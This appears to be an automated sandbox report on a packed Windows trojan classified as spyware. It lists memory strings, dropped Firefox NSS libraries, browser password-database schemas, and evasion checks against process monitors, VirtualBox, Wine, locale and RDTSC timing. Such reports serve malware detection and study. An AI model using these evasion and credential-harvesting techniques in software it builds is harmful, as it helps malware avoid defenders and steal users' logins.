Source: DHDHJJJECFIECBGDGCAAAEHIEG.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: DHDHJJJECFIECBGDGCAAAEHIEG.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: DHDHJJJECFIECBGDGCAAAEHIEG.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2023762457.0000000029A09000.00000004.00000020.00020000.00000000.sdmp, DHDHJJJECFIECBGDGCAAAEHIEG.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: DHDHJJJECFIECBGDGCAAAEHIEG.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2023762457.0000000029A09000.00000004.00000020.00020000.00000000.sdmp, DHDHJJJECFIECBGDGCAAAEHIEG.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD28A3	0_2_00AD28A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E8E191	0_2_00E8E191
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB52A0	0_2_00BB52A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B1E3E5	0_2_00B1E3E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ACEBC0	0_2_00ACEBC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BBA304	0_2_00BBA304
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC0CF2	0_2_00BC0CF2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC942A	0_2_00BC942A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B535B8	0_2_00B535B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A73DEF	0_2_00A73DEF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BBBD6C	0_2_00BBBD6C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC46E8	0_2_00BC46E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC5E3D	0_2_00BC5E3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB6E25	0_2_00BB6E25
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C4CE04	0_2_00C4CE04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A75E58	0_2_00A75E58
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB1FAA	0_2_00AB1FAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC27A0	0_2_00BC27A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ABAF66	0_2_00ABAF66

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 007F45C0 appears 316 times

Source: file.exe, 00000000.00000002.2113256959.000000006F8F2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2113134153.000000006C875000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: uacsjmgi ZLIB complexity 0.9949080080475331

Source: file.exe, 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1774077760.00000000050D0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00808680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00808680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00803720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00803720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\05TQL7R1.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2105397487.000000001D83A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2112785558.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2113050938.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2105397487.000000001D83A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2112785558.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2113050938.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2105397487.000000001D83A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2112785558.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2113050938.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2105397487.000000001D83A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2112785558.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2113050938.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2105397487.000000001D83A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2112785558.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2113050938.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2105397487.000000001D83A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2112785558.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2105397487.000000001D83A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2112785558.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2113050938.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1946970701.000000001D738000.00000004.00000020.00020000.00000000.sdmp, IIDAAFBGDBKJJJKFIIIJ.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2105397487.000000001D83A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2112785558.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2105397487.000000001D83A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2112785558.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: ft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: m/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1858048 > 1048576

Source: file.exe

Static PE information: Raw size of uacsjmgi is bigger than: 0x100000 < 0x19f800

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2113220231.000000006F8DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2113050938.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2113050938.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2113220231.000000006F8DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.7f0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uacsjmgi:EW;vdnhxnkx:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uacsjmgi:EW;vdnhxnkx:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00809860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00809860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c65f3 should be: 0x1d0811

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: uacsjmgi
Source: file.exe	Static PE information: section name: vdnhxnkx
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD28A3 push edi; mov dword ptr [esp], esi	0_2_00AD28D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD28A3 push 0562F921h; mov dword ptr [esp], edx	0_2_00AD2A4B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD28A3 push eax; mov dword ptr [esp], 5009A6C8h	0_2_00AD2A6C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB60E8 push edx; mov dword ptr [esp], ecx	0_2_00CB60FF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB60E8 push 036C05ECh; mov dword ptr [esp], ebp	0_2_00CB66CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A970F6 push 70506361h; mov dword ptr [esp], eax	0_2_00A97179
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC7805 push ebx; mov dword ptr [esp], eax	0_2_00AC781F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC7805 push edi; mov dword ptr [esp], CF9F3C53h	0_2_00AC7823
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC7805 push ecx; mov dword ptr [esp], edx	0_2_00AC786A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC7805 push 0782D321h; mov dword ptr [esp], eax	0_2_00AC787F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC7805 push 4F0FF5A2h; mov dword ptr [esp], ebx	0_2_00AC789B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC7805 push 7E9E665Eh; mov dword ptr [esp], ebx	0_2_00AC78B3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0080B035 push ecx; ret	0_2_0080B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C41004 push edi; mov dword ptr [esp], esi	0_2_00C41018
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C41004 push ecx; mov dword ptr [esp], esp	0_2_00C4106D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C41004 push ecx; mov dword ptr [esp], 263F28D3h	0_2_00C4113F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C33021 push 0FDDE25Fh; mov dword ptr [esp], ebx	0_2_00C330A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDC1CD push 599D2301h; mov dword ptr [esp], eax	0_2_00CDC231
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDC1CD push 65528F66h; mov dword ptr [esp], ebx	0_2_00CDC28A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BF79B4 push 0D5F75BFh; mov dword ptr [esp], ecx	0_2_00BF79BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C9E1F5 push eax; mov dword ptr [esp], 7E4DEBD9h	0_2_00C9E21C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C9E1F5 push 786BDA97h; mov dword ptr [esp], ebx	0_2_00C9E2FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C67993 push eax; mov dword ptr [esp], 6EF30051h	0_2_00C679C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E8E191 push edi; mov dword ptr [esp], 06DC753Fh	0_2_00E8E1CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E8E191 push eax; mov dword ptr [esp], edx	0_2_00E8E2B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB1134 push ebx; mov dword ptr [esp], edi	0_2_00AB119F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB1134 push esi; mov dword ptr [esp], ebx	0_2_00AB11C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CAD162 push 333E7954h; mov dword ptr [esp], ecx	0_2_00CAD177
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C5E17A push ecx; mov dword ptr [esp], 7B93B400h	0_2_00C5E194
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCE96A push eax; mov dword ptr [esp], esi	0_2_00BCE9A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCE96A push edx; mov dword ptr [esp], ebp	0_2_00BCE9B4

Source: file.exe

Static PE information: section name: uacsjmgi entropy: 7.9525126294132304

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00809860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13608

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD392 second address: BCD3B8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F33593F59B8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F33593F59BDh 0x00000011 jmp 00007F33593F59BDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD3B8 second address: BCD3E9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F33593F05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f jno 00007F33593F05B6h 0x00000015 pop edx 0x00000016 je 00007F33593F05CBh 0x0000001c jmp 00007F33593F05C5h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD677 second address: BCD693 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F33593F59B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F33593F59BFh 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD693 second address: BCD6A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F33593F05B6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD6A1 second address: BCD6AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD6AC second address: BCD6B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0C00 second address: BD0C21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F33593F59B6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 pushad 0x00000011 jns 00007F33593F59B8h 0x00000017 push eax 0x00000018 push edx 0x00000019 jnl 00007F33593F59B6h 0x0000001f rdtsc
